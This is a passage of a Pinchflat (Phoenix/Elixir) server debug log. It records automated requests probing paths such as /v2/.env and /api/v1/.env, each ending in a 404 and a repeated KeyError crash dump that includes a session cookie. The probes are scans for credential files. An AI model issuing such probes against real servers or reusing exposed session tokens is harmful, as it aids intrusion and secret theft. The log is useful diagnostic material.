"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/v2/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6h_VnvdPoiwAARaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 91, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 91, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.t (truncated) 02:10:15.354 [info] GET /v3/.env 02:10:15.355 [debug] QUERY OK source="settings" db=0.1ms idle=248.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.355 [debug] QUERY OK source="settings" db=0.1ms idle=135.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.355 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.355 [error] #PID<0.3396.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 92) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /v3/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v3/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v3/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 92, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3396.0>, params: %{}, path_info: ["v3", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/v3/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6iNARF6KSeAAARbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v3/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 92, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v3/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v3/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 92, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.t (truncated) 02:10:15.412 [info] GET /api/v1/.env 02:10:15.412 [debug] QUERY OK source="settings" db=0.2ms idle=192.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.413 [debug] QUERY OK source="settings" db=0.1ms idle=114.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.413 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.413 [error] #PID<0.3397.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 93) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/v1/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 93, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3397.0>, params: %{}, path_info: ["api", "v1", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/api/v1/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6iaturOc11QAARcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 93, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 93, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:15.468 [info] GET /api/v2/.env 02:10:15.469 [debug] QUERY OK source="settings" db=0.1ms idle=170.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.469 [debug] QUERY OK source="settings" db=0.1ms idle=114.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.469 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.469 [error] #PID<0.3398.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 94) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/v2/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 94, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3398.0>, params: %{}, path_info: ["api", "v2", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/api/v2/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6ioLlEoDU4gAARdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 94, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, 